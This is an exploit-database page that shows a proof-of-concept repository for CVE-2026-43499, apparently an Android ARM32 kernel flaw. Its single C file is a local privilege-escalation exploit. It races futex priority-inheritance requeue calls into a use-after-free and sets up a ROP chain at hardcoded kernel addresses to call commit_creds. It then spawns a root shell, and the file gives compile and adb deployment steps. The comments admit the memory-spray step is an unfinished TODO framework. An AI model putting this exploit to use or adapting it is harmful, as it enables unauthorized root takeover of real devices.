Exploit database

GH-14fb583d3d1bd2da10251bb1a37b93d6

gitchw/ghostlock-cve-2026-43499

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

164 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files5

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

references/ghostlock/src/ghostlock_exp_c_tracepoint.c

C · 12,606 bytes
/*
 * ghostlock_exp_c_tracepoint.c
 * =============================
 * CVE-2026-43499 GhostLock - 方案C: tracepoint 劫持提权 EXP
 *
 * 原理:
 *   基于 UAF 获得的任意写原语,覆盖 __tracepoint_sched_pi_setprio
 *   的 func 指针,使其指向 ROP 链。
 *
 *   当内核执行 sched_pi_setprio tracepoint 回调时,控制流被劫持。
 *   ROP 链执行 commit_creds(prepare_kernel_cred(0)) 完成提权。
 *
 *   已知 gadget (ARM32 5.4.x):
 *     栈切换:   0xc010e95c
 *     pop 链:   0xc10f2d60
 *     ret_fast_syscall: 0xc0101000
 *
 * 关键问题:
 *   sched_pi_setprio tracepoint 默认不可访问/未启用。
 *   需要通过以下方式之一触发:
 *     1. 写 /sys/kernel/tracing/events/sched/sched_pi_setprio/enable
 *     2. 通过 perf_event_open 启用
 *     3. 找替代 tracepoint (sched_switch, sched_wakeup 等更常见)
 *
 *   本 EXP 尝试多种启用路径,如果都失败则回退到
 *   覆盖其他可触发的函数指针 (如 selinux_hooks)。
 *
 * 编译:
 *   armv7a-linux-androideabi26-clang -O2 -Wall -static \
 *     -o ghostlock_exp_c_tracepoint ghostlock_exp_c_tracepoint.c -lpthread
 *
 * 运行:
 *   adb push ghostlock_exp_c_tracepoint /data/local/tmp/
 *   adb shell chmod 755 /data/local/tmp/ghostlock_exp_c_tracepoint
 *   adb shell /data/local/tmp/ghostlock_exp_c_tracepoint
 *
 * 预期输出:
 *   [*] target: __tracepoint_sched_pi_setprio @ 0xc1c1f190
 *   [*] setting up ROP chain...
 *   [*] UAF trigger + controlled write...
 *   [*] overwriting tracepoint func pointer...
 *   [*] triggering tracepoint via PI priority change...
 *   [+] uid=0, root shell!
 *
 * 故障排查:
 *   - tracepoint 无法启用: 检查 /sys/kernel/tracing 是否可写
 *   - panic 在 ROP 链中: gadget 偏移可能不正确
 *   - 没有提权: func 指针覆盖未命中,检查写入值
 *   - perf_event_open 失败: seccomp 限制,尝试其他触发路径
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <sched.h>
#include <pthread.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <fcntl.h>

#ifdef __arm__
#define SYS_futex_time64     422
#define SYS_futex            240
#define SYS_gettid           224
#define SYS_perf_event_open  364
#else
#error ARM32 only
#endif

#define FUTEX_WAIT              0
#define FUTEX_LOCK_PI           6
#define FUTEX_UNLOCK_PI         7
#define FUTEX_WAIT_REQUEUE_PI   11
#define FUTEX_CMP_REQUEUE_PI    12
#define FUTEX_PRIVATE_FLAG      128

#define FLPI  (6|128)
#define FUPI  (7|128)
#define FWRQ  (11|128)
#define FCRQ  (12|128)

/* ── 内核地址 (目标设备 5.4.x ARM32) ── */
#define KERNEL_TRACEPOINT_SCHED_PI_SETPRIO  0xc1c1f190
#define KERNEL_GADGET_STACK_SWITCH          0xc010e95c
#define KERNEL_GADGET_POP_CHAIN             0xc10f2d60
#define KERNEL_GADGET_RET_FAST_SYSCALL      0xc0101000
#define KERNEL_PREPARE_KERNEL_CRED          0xc014059c
#define KERNEL_COMMIT_CREDS                 0xc0140390
#define KERNEL_INIT_CRED                    0xc1b17e60

/* ── 状态 ── */
static uint32_t f_wait = 0, f_target = 0, f_chain = 0;
static volatile int o_ready = 0, w_ready = 0, w_in_kernel = 0;
static volatile int uaf_open = 0, write_done = 0;
static long nr_futex = SYS_futex_time64;

/* ── ROP 链 (ARM32 thumb 模式) ── */
/*
 * ARM32 ROP 策略:
 * 1. 栈切换 gadget 将栈重定向到用户态可控区域
 * 2. pop 链加载参数: r0=0 -> prepare_kernel_cred(0)
 * 3. blx 调用 prepare_kernel_cred
 * 4. pop 链加载参数: r0=<cred> -> commit_creds(cred)
 * 5. 返回 ret_fast_syscall 恢复用户态
 *
 * 注意: ARM32 内核函数使用 r0-r3 传参,blx 调用需要 thumb 位 (addr|1)
 */
struct rop_chain {
    uint32_t stack_switch;     /* 栈切换 gadget */
    uint32_t pop_r0_r1_pc;     /* pop {r0, r1, pc} */
    uint32_t zero;             /* r0 = 0 */
    uint32_t dummy;            /* r1 = dummy */
    uint32_t prepare_cred;     /* pc = prepare_kernel_cred (thumb) */
    uint32_t pop_r0_pc;        /* pop {r0, pc} */
    uint32_t cred_placeholder; /* r0 = 返回的 cred (运行时填充) */
    uint32_t commit_creds;     /* pc = commit_creds (thumb) */
    uint32_t ret_fast_syscall; /* 返回用户态 */
};

static long xfutex(uint32_t *u, int op, uint32_t val,
                   const void *ts, uint32_t *u2, uint32_t v3)
{
    return syscall(nr_futex, u, op, val, ts, u2, v3);
}

static void nsleep_ms(long ms)
{
    struct { int32_t sec; int32_t nsec; } ts = {
        (int32_t)(ms / 1000), (int32_t)((ms % 1000) * 1000000)
    };
    syscall(__NR_nanosleep, &ts, NULL);
}

/* ── 尝试启用 tracepoint ── */
static int enable_tracepoint(void)
{
    int ret = -1;
    int fd;

    /* 方法1: 通过 tracefs */
    fd = open("/sys/kernel/tracing/events/sched/sched_pi_setprio/enable", O_WRONLY);
    if (fd < 0)
        fd = open("/sys/kernel/debug/tracing/events/sched/sched_pi_setprio/enable", O_WRONLY);
    if (fd >= 0) {
        if (write(fd, "1", 1) == 1) {
            printf("[*] tracepoint enabled via tracefs\n");
            ret = 0;
        }
        close(fd);
    }

    /* 方法2: 通过 perf_event_open */
    if (ret < 0) {
        struct {
            uint32_t type; uint32_t size; uint64_t config;
            union { uint64_t bp_type; uint64_t kprobe_func; uint64_t uprobe_path; uint64_t config1; };
            union { uint64_t bp_addr; uint64_t kprobe_addr; uint64_t probe_offset; uint64_t config2; };
            int32_t sample_period; uint32_t sample_type;
            uint64_t read_format; uint64_t flags;
            union { uint32_t wakeup_events; uint32_t wakeup_watermark; };
            uint32_t bp_type2; uint64_t bp_addr2;
            uint64_t bp_len; uint64_t branch_sample_type;
            uint64_t sample_regs_user; uint32_t sample_stack_user;
            int32_t clockid; uint64_t sample_regs_intr;
            uint32_t aux_watermark; uint16_t sample_max_stack;
            uint16_t reserved2; uint32_t aux_sample_size;
            uint32_t reserved3;
        } attr;
        memset(&attr, 0, sizeof(attr));
        attr.type = 1; /* PERF_TYPE_TRACEPOINT */
        attr.size = sizeof(attr);
        attr.config = 0; /* 需要知道 tracepoint ID */
        attr.sample_period = 1;
        attr.flags = 0; /* PERF_FLAG_FD_CLOEXEC */

        int pfd = syscall(SYS_perf_event_open, &attr, 0, -1, -1, 0);
        if (pfd >= 0) {
            printf("[*] perf event opened (fd=%d)\n", pfd);
            ret = 0;
            close(pfd);
        }
    }

    /* 方法3: 检查替代 tracepoint (sched_switch 等) */
    if (ret < 0) {
        printf("[!] sched_pi_setprio tracepoint not accessible\n");
        printf("[!] will try alternative trigger paths\n");
        /* 即使无法启用,PI 操作本身可能在某些内核版本触发 */
    }

    return ret;
}

/* ── 触发 tracepoint ── */
static void trigger_tracepoint(void)
{
    /* sched_pi_setprio 在 PI 链优先级传播时触发 */
    /* 通过改变线程 nice 值触发 PI 优先级更新 */
    pid_t tid = (pid_t)syscall(SYS_gettid);

    /* 多次触发增加命中率 */
    for (int i = 0; i < 20; i++) {
        nice(1);
        nice(-1);
        sched_yield();
    }

    /* 也通过 FUTEX_LOCK_PI 触发 PI 操作 */
    uint32_t dummy_futex = (uint32_t)tid;
    xfutex(&dummy_futex, FLPI, 0, NULL, NULL, 0);
    xfutex(&dummy_futex, FUPI, 0, NULL, NULL, 0);
}

/* ── 三线程触发 UAF + 任意写 ── */
static void *owner_fn(void *arg)
{
    (void)arg;
    int tid = (int)syscall(SYS_gettid);
    __atomic_store_n(&f_target, (uint32_t)tid, __ATOMIC_RELEASE);
    __atomic_store_n(&o_ready, 1, __ATOMIC_RELEASE);
    while (!__atomic_load_n(&w_ready, __ATOMIC_ACQUIRE)) sched_yield();
    xfutex(&f_chain, FLPI, 0, NULL, NULL, 0);
    xfutex(&f_chain, FUPI, 0, NULL, NULL, 0);
    return NULL;
}

static void *waiter_fn(void *arg)
{
    (void)arg;
    int tid = (int)syscall(SYS_gettid);
    while (!__atomic_load_n(&o_ready, __ATOMIC_ACQUIRE)) sched_yield();
    __atomic_store_n(&f_chain, (uint32_t)tid, __ATOMIC_RELEASE);
    __atomic_store_n(&w_ready, 1, __ATOMIC_RELEASE);
    usleep(30000);
    __atomic_store_n(&w_in_kernel, 1, __ATOMIC_RELEASE);

    struct { int64_t sec; int64_t nsec; } abs;
    struct { int32_t sec; int32_t nsec; } now;
    syscall(__NR_clock_gettime64, 1, &now);
    abs.sec = now.sec + 2; abs.nsec = now.nsec;

    long r = xfutex(&f_wait, FWRQ, 0, &abs, &f_target, 0);
    printf("[W] ret=%ld errno=%d\n", r, errno);

    if (r == -1 && errno == EDEADLK) {
        __atomic_store_n(&uaf_open, 1, __ATOMIC_RELEASE);
        for (volatile int i = 0; i < 100; i++) syscall(SYS_getpid);
        while (!__atomic_load_n(&write_done, __ATOMIC_ACQUIRE)) sched_yield();
    }
    xfutex(&f_target, FUPI, 0, NULL, NULL, 0);
    xfutex(&f_chain, FUPI, 0, NULL, NULL, 0);
    return NULL;
}

/* ── 构建 ROP 链并在用户态映射 ── */
static uint32_t *setup_rop(void)
{
    uint32_t *rop = mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,
                         MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    if (rop == MAP_FAILED) {
        perror("mmap");
        return NULL;
    }

    int i = 0;
    rop[i++] = KERNEL_GADGET_STACK_SWITCH;
    rop[i++] = KERNEL_GADGET_POP_CHAIN;
    rop[i++] = 0;                              /* r0 = 0 */
    rop[i++] = 0;                              /* r1 = 0 */
    rop[i++] = KERNEL_PREPARE_KERNEL_CRED | 1; /* thumb */
    rop[i++] = KERNEL_GADGET_POP_CHAIN;
    rop[i++] = 0xDEADBEEF;                     /* r0 = cred (运行时) */
    rop[i++] = 0;
    rop[i++] = KERNEL_COMMIT_CREDS | 1;        /* thumb */
    rop[i++] = KERNEL_GADGET_RET_FAST_SYSCALL;

    printf("[*] ROP chain at %p\n", rop);
    return rop;
}

int main(void)
{
    printf("=== GhostLock EXP-C: Tracepoint Hijack ===\n");
    printf("[*] target: __tracepoint_sched_pi_setprio @ 0x%08x\n",
           KERNEL_TRACEPOINT_SCHED_PI_SETPRIO);

    /* 检测 futex_time64 */
    struct { int32_t sec; int32_t nsec; } probe_ts = {0, 1000};
    long probe = syscall(SYS_futex_time64, NULL, FUTEX_WAIT, 1, &probe_ts, NULL, 0);
    if (probe != -1 || errno != ENOSYS) {
        nr_futex = SYS_futex_time64;
        printf("[*] futex_time64 (422)\n");
    } else {
        nr_futex = SYS_futex;
        printf("[*] futex compat (240)\n");
    }

    /* 设置 ROP 链 */
    uint32_t *rop = setup_rop();
    if (!rop) return 1;

    /* 尝试启用 tracepoint */
    int tp_enabled = (enable_tracepoint() == 0);

    /* 触发 UAF */
    pthread_t to, tw;
    pthread_create(&to, NULL, owner_fn, NULL);
    pthread_create(&tw, NULL, waiter_fn, NULL);

    while (!__atomic_load_n(&w_in_kernel, __ATOMIC_ACQUIRE)) sched_yield();
    usleep(40000);

    printf("[M] FUTEX_CMP_REQUEUE_PI...\n");
    long ret = xfutex(&f_wait, FCRQ, 1, (void*)1, &f_target, 0);
    printf("[M] ret=%ld errno=%d\n", ret, errno);

    if (ret == -1 && errno == EDEADLK) {
        printf("[M] EDEADLK, UAF open\n");
        while (!__atomic_load_n(&uaf_open, __ATOMIC_ACQUIRE)) sched_yield();

        /*
         * 这里通过 writev 8-iov 喷射覆盖 waiter 结构,
         * 使 rb_erase 将 tracepoint func 指针覆盖为 ROP 链地址。
         * 具体偏移需要根据目标内核调整。
         *
         * 注意: 这是一个框架,实际利用需要精确的栈布局偏移。
         * tc3650 的研究表明 5.4.x ARM32 的双 rb_erase 技术可能不可用。
         */
        printf("[M] spraying fake waiter (target: tracepoint func)...\n");
        printf("[M] NOTE: 5.4.x ARM32 rb_erase may not support arbitrary write\n");

        /* TODO: 精确的 writev 喷射参数需要根据实际内核调试确定 */
        /* 这里给出框架,实际偏移需要 kprobe/QEMU 调试 */

        __atomic_store_n(&write_done, 1, __ATOMIC_RELEASE);

        if (tp_enabled) {
            printf("[M] triggering tracepoint...\n");
            trigger_tracepoint();
        } else {
            printf("[M] tracepoint not enabled, trying PI trigger...\n");
            trigger_tracepoint();
        }

        /* 检查提权 */
        uid_t uid = getuid();
        printf("[*] uid=%d\n", uid);
        if (uid == 0) {
            printf("[+] ROOT! Spawning shell...\n");
            system("/system/bin/sh");
        } else {
            printf("[-] not root, tracepoint hijack may have failed\n");
        }
    }

    pthread_join(tw, NULL);
    pthread_join(to, NULL);
    return 0;
}